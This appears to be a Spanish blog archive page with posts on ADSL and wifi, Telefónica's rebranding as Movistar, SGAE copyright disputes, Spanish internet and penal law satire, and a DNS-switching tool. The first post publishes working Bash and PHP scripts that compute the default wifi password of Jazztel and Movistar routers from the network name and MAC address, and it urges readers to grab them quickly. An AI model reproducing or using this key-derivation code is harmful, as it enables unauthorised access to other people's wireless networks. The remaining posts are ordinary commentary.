Archive

Archive for the ‘adsl’ Category

Routers WIFI al descubierto

09/02/2011 4 comentarios

Los usuarios de jazztel y movistar que no hayan cambiado el nombre (ESSID) de sus wifis pueden ir pensando en hacerlo: El algoritmo ha sido descifrado. Por lo visto, el que sacó a la luz el algoritmo fue elvecinoo en este hilo de lampiweb En http://kz.ath.cx/wlan/ (entre otros mas que alojan los algoritmos) se ingresa nombre y la MAC del router y te la clava.

Algunos ejemplos:

En BASH:

#!/bin/bash                                                                     

echo CalcWLAN by a.s.r                                                          

if [ $# -ne 2 ]
then
        echo "Usage: $0 <ESSID> <BSSID>"
        echo
        echo "Example: $0 WLAN_C58D 64:68:0C:C5:C5:90"
        exit 1
fi                                                                              

HEAD=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)
BSSID=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d)
BSSIDP=$(echo -n "$BSSID" | cut -c-8)
KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20)                  

echo "La puta clave es $KEY"

En PHP:

// THIS CODE IS UNDER THE PUBLIC DOMAIN

function right($string, $chars)
{
	return substr($string, strlen($string) - $chars, $chars);
}

if (isset($_POST['essid']) && isset($_POST['bssid']))
{
	$bssid = preg_replace('/:/', '', strtoupper(trim($_POST['bssid'])));

	if (strlen($bssid) != 12)
	{
		die('Mete bien la MAC, buen hombre.');
	}

	$essid = strtoupper(trim($_POST['essid']));
	$_ssid = substr($bssid, 0, 8).right($essid, 4);

	die(substr(md5('bcgbghgg'.$_ssid.$bssid), 0, 20));
}

Daos prisa antes de que cierren las webs donde se alojan los fuentes.

Movistar: la marca comercial de todos los servicios de Telefónica en España


Esta mañana me doy cuenta al intentar acceder a mi cuenta de Telefónica que la página había cambiado radicalmente, en cuanto a nombre, estructura y diseño web. Según me entero un rato después de comunicar al 1004 del posible fallo que:

Telefónica unifica desde hoy mismo todos sus servicios en España bajo la marca Movistar. A partir de ahora, la operadora ofrecerá tanto telefonía móvil como fija, Televisión y ADSL bajo la misma imagen corporativa, en un movimiento que ya hicieron otras como Orange hace tiempo.

Según la propia compañía, este cambio es consecuencia de la necesidad de “adecuarse al mercado actual y a las nuevas exigencias de los clientes; mayor convergencia, unificación de contenidos multimedia y accesibilidad a nuevas redes de comunicación y tecnologías”.

A partir de ahora, todos los clientes tanto de fijos como de móviles tendrán el servicio de atención unificado en el número 1004. Durante este 2010 y 2011, el cambio se producirá paulatinamente en todos los países europeos y latinoamericanos donde la compañía opera actualmente, de manera que se unifique también de manera global la imagen de la empresa.

Etiquetas: ,

La SGAE reclama dinero a una entidad de discapacitados por la música del parking que gestiona


La Sociedad General de Autores y Editores (SGAE) ha reclamado una compensación económica a la Asociación de Minusválidos Físicos Intercomarcal del Valle del Vinalopó (Amfi) por la utilización de música a través de la megafonía del aparcamiento que la entidad gestiona en Gran Avenida de Elda desde finales del año pasado y que emplea a cinco minusválidos cuyos puestos, según el presidente de Amfi, pueden peligrar por la sanción de la SGAE.

14-02-2010 – JOSÉ AGUADO – diario informacion – La entidad gestora comunicaba el pasado viernes a la empresa constructora y dueña del aparcamiento, Geestipark del Sureste, que se había detectado el uso de obras protegidas dentro del recinto desde el día siete de diciembre. A su vez, Gestipark lo comunicó a el presidente de la asociación que lo gestiona, andrés Molina.

Tal y como relataba ayer el mismo Molina, inmediatamente se puso en contacto con la SGAE para aclarar la situación. El presidente de la asociación, visiblemente molesto, asegura que desde la entidad gestora se le trató de forma prepotente y altiva cuando preguntó que tipo de obras podía difundir a través de la megafonía del recinto, para lo cual le emplazaron s su sitio web. “Quería saber que tipo de música puedo poner allí para que no me reclamen que pague nada, si podía poner autores extranjeros. Me dijeron que mirase la página para saber los que no puedo poner”. Molina, que no sabrá hasta el próximo lunes la cantidad exacta que le reclama la SGAE, se mostraba especialmente enfadado porque la entidad haya dirigido su queja hacia la constructora, cuando “en las entradas tenemos un cartel que dice bien claro que indica que es Amfi la responsable”.

Fue a principios de enero cuando Gestipark concedió la gestión a la asociación de minusválidos después de que ésta realizase el trabajo de manera gratuita durante cinco meses tras el abandono de la anterior concesionaria, Vincipark, por poca rentabilidad. “Cogimos el parking y lo trabajamos gratis para demostrar que podíamos hacerlo y dar trabajo a cinco personas minusválidas que de verdad lo necesitan”. Finalmente, Amfi consiguió un acuerdo con la constructora para prestar el servicio durante un año con opción a renovar por cinco más si conseguían rentabilizarlo.

Ahora, la asociación reclama la ayuda de abogados especializados para capear este nuevo contratiempo. “Creo que han sido muy cobardes al ir a la constructora directamente en lugar de a nosotros, que somos una asociación de minusválidos y que realizamos una labor social reconocida”. No es el primer encontronazo, según Molina, que Amfi tiene con la SGAE, ya que con anterioridad se le exigió el pago de una suma en concepto de canon por la utilización de música hindú en un espectáculo benéfico. “Me gustaría saber a qué autor de la India ha ido a parar el dinero que les pagamos en aquella ocasión”.

La asociación, además del aparcamiento de Gran Avenida y otro en el Mercado Central, da trabajo a sus asociados en los puntos de información turística en el Museo del Calzado, Kiosco de la Plaza Sagasta y la conserjería de la Casa Grande del Jardín de la Música. En el resto de la comarca del Vinalopó, Amfi colabora también con varios ayuntamientos en campañas referentes a la discapacidad física.

El recinto servirá de escaparate para grupos noveles

Desde ayer mismo, el recinto de aparcamiento de Gran Avenida ya no emite música a través de su megafonía. En respuesta a la reclamación, el presidente de Amfi quiso ofrecer ayer a los grupos noveles sin referencias discográficas en el mercado, o a aquellos que no estén afiliados a la sociedad gestora, la utilización del parking como plataforma para dar sus canciones a conocer.

Según relataba ayer Andrés Molina, la asociación pondrá las obras que reciban libres de derechos en un recinto público para su difusión mientras que los autores ayudarán a que la música no deje de sonar dentro del vasto aparcamiento eldense. “Me quiero poner en contacto con autores jovenes, que tengan ganas de que se escuche su música para que tengan la oportunidad. Así nosotros podremos seguir ofreciendo música a través de la megafonía para que no esté aquello desangelado”.

No serán los primeros en intentar escapar de la SGAE mediante la utilización de obras en el dominio público. El pasado año, un local madrileño obtuvo una sentencia favorable que estableció que la entidad gestora por intentar recaudar el canon en obras de autores que no son socios de la SGAE ni de cualquier otra de las entidades que representan.

Fuente: Internautas


David Bravo aparece en Buenafuente…


Anteayer estaba viendo la televisión por la noche, la verdad es que no soy muy televisivo pero estaba viendo la pelicula de la TVC (Television Canaria) y cuando terminó en el programa de Buenafuente me sorprendió gratamente que invitaran a todo una personalidad defensora de la cultura libre y por ende, del software libre, David Bravo, del que aquí nunca habia hablado (ya era hora no!) sobre la Ley de Economía Sostenible y sus repercusiones en otros ámbitos.

El caso es que han colgado las entrevistas de YouTube y creo que a todos os interesará.

Etiquetas: , ,

“Ganan los internautas”…por fin


Los internautas lo están consiguiendo. Los diputados han aprobado que sólo los jueces puedan cerrar páginas web. Hasta el PSOE votó a favor de una moción del PP para reformar el proyecto de ley de economía sostenible, que faculta al Ministerio de Cultura para proponer el cierre de webs por violar la propiedad intelectual.

11-02-2010 –  Juan Varela en (COLPISA) – Habrá que esperar a la nueva ley, pero la revuelta internauta contra los excesos en la persecución de las descargas, animados por la SGAE y la industria del entretenimiento, demuestra el poder de este nuevo espacio público. Es difícil entender por qué el Gobierno propuso un cierre administrativo para defender un derecho económico frente a los fundamentales de los ciudadanos. Competencia ha pedido además la reforma de la gestión de derechos de autor al considerar un monopolio a la SGAE, Cedro y resto de entidades.

Los dueños del contenido aumentan su presión contra las descargas, la copia y los enlaces. Los usuarios no saben vivir sin ellos y defienden el derecho de cita, la copia privada –también el P2P, reconocido en sentencias y un acceso a la información y los contenidos abierto. La crisis aprieta y los medios, discográficas y hasta los editores de libros, ahora que amanece el ‘ebook’, demandan garantías para un negocio que pierde beneficios. Pelean creadores y audiencia en una disputa superable sólo con un cambio económico y un nuevo consenso sobre los contenidos y su uso cuando la copia ya no tiene valor.

El problema no es sólo legal. Es un cambio de mercado, tecnología, productos y consumo radical. El Congreso debate en estos momentos la propiedad intelectual, como en Europa, en Gran Bretaña con una ley de economía digital o el ACTA, una negociación mundial. Varios partidos piden una reforma profunda para acabar con las guerras del enlace y el P2P. Ninguno debería perder sus derechos: autores y distribuidores sobre sus obras, el público a usarlas sin limitaciones abusivas y las empresas tecnológicas a facilitar el acceso. Hace falta creatividad legal y situar la innovación como un objetivo compartido.

Visto en Intenautas

Etiquetas: , ,

La leyes en España…curiosidades


Ayer recibo un correo de un compañero de clase (Juan F.R.) y no puedo resistirme  a publicarlo, muy interesante y recomendable  su lectura…

La ley en España… :

A VER SI HAY ALGÚN EXPERTO CONOCEDOR DE LA LEY QUE  PUEDA ACLARAR ESTOS DATOS.

1. SUPUESTO

a) PEPE se descarga una canción de Internet.
b) PEPE decide que prefiere el disco original y va a El Corte Inglés a hurtarlo. Una vez allí, y para no dar dos viajes, opta por llevarse toda una discografía. La suma de lo hurtado no supera los 400 euros.
ACLARACIÓN: La descarga de la canción sería un delito con pena de 6 meses a dos años. El hurto de la discografía en El Corte Inglés ni siquiera sería un delito, sino una simple falta (art. 623.1 del Código Penal).

2. SUPUESTO

a) CARMEN se descarga una canción de Internet.
b) CARMEN va a hurtar a El Corte Inglés y, como se la va la mano, se lleva cincuenta compactos, por valor global de 1.000 euros.
ACLARACIÓN: Seguiría siendo más grave la descarga de Internet. El hurto sería un delito, porque supera los 400 euros, pero sería de menor pena que la descarga (art. 234 del Código Penal).

3. SUPUESTO

a) JOAQUÍN , en el pleno uso de sus facultades mentales, se descarga una canción de Malena Gracia.
b) JOAQUIN en un descuido de Malena Gracia, se lleva su coche y lo devuelve 40 horas después.
ACLARACIÓN: Sería mas grave la descarga. El hurto de uso de vehículo tiene menos pena, a tenor del articulo 244.1 del Código Penal.

4. SUPUESTO

a) Ocho personas se intercambian copias de su música favorita.
b) Ocho personas participan en una riña tumultuosa utilizando medios o instrumentos que pueden poner en peligro sus vidas o su integridad física.
ACLARACIÓN: Es menos grave participar en una pelea que participar en el intercambio de compactos. Participar en una riña tumultuosa tiene una pena de tres meses a un año (art. 154 del Código Penal)y el intercambio tendría una pena de 6 meses a 2 años (art. 270 del Código Penal). Si algún día te ves obligado a elegir entre participar en un intercambio de copias de CDs o participar en una pelea masiva, escoge siempre la segunda opción, que es obviamente menos reprobable.

5. SUPUESTO

a) JUAN copia la última película de su director favorito de un DVD que le presta su secretaria Susana.
b) JUAN,aprovechando su superioridad jerárquica en el trabajo, acosa sexualmente a su secretaria Susana.
ACLARACIÓN: El acoso sexual tendría menos pena según el artículo 184.2 del Código Penal.

6. SUPUESTO

a) MÓNICA Y CRISTINA van a un colegio y distribuyen entre los alumnos de preescolar copias de películas educativas de dibujos animados protegidas por copyright y sin autorización de los autores.
b) MÓNICA Y CRISTINA van a un colegio y distribuyen entre los alumnos de preescolar películas pornográficas protagonizadas y creadas por la pareja.
ACLARACIÓN: La acción menos grave es la de distribuir material pornográfico a menores según el articulo 186 del Código Penal. La distribución de copias de material con copyright sería un delito al existir un lucro consistente en el ahorro conseguido por eludir el pago de los originales cuyas copias han sido objeto de distribución.

7. SUPUESTO

a) NACHO, que es un bromista, le copia a su amigo el último disco de Andy y Lucas, diciéndole que es el ‘Kill’em All’ de Metallica.
b) NACHO, que es un bromista, deja una jeringuilla infectada de SIDA en un parque público.
ACLARACIÓN: La segunda broma sería menos grave, a tenor del artículo 630 del Código Penal

8. SUPUESTO

a) ANTONIO fotocopia una página de un libro.
b) ANTONIO le da un par de puñetazos a su amigo por recomendarle ir a ver la película ‘La Jungla 4.0’.
ACLARACIÓN: La acción más grave desde un punto de vista penal sería la ‘a’, puesto que la reproducción, incluso parcial, seria un delito con pena de 6 meses a dos años de prisión y multa de 12 a 24 meses. Los puñetazos, si no precisaron una asistencia médica o quirúrgica, serían tan solo una falta en virtud de lo dispuesto en el artículo 617 en relación con el 147 del Código Penal.

Hala, ya sabéis: pegad, violad, acosad, robad, pero no uséis el “emule ese”.

¡A ver si le damos a esto un paseo por toda la red y, por verguenza o decencia, algún legislador pone algún remedio… aunque lo dudo!

Etiquetas: ,

Cambia DNS automaticamente…

30/01/2010 2 comentarios

Recientemente ha salido “DNS Jumper”, que es una utilidad pequeña y portátil que le ayuda a cambiar fácilmente a Google DNS públicos, DNS de Open DNS u otros servicios similares.

Ahora, una nueva versión de esta pequeña herramienta ha sido liberada y viene con las siguientes características:

* Usted puede elegir la tarjeta de red
* Muy personalizable, usted puede añadir o eliminar una DNS
* Usted puede cambiar el idioma en el archivo de edición de DnsJumper.ini
* Se puede personalizar manualmente los DNS
* Programa de pruebas de IP del DNS y las medidas de sus tiempos de reacción
* Botón Flush DNS añadido
* Prueba el DNS más rápido (Prueba los tiempos de reacción del DNS y usa el mejor)

Enlace de descarga: DNSJumper


A %d blogueros les gusta esto: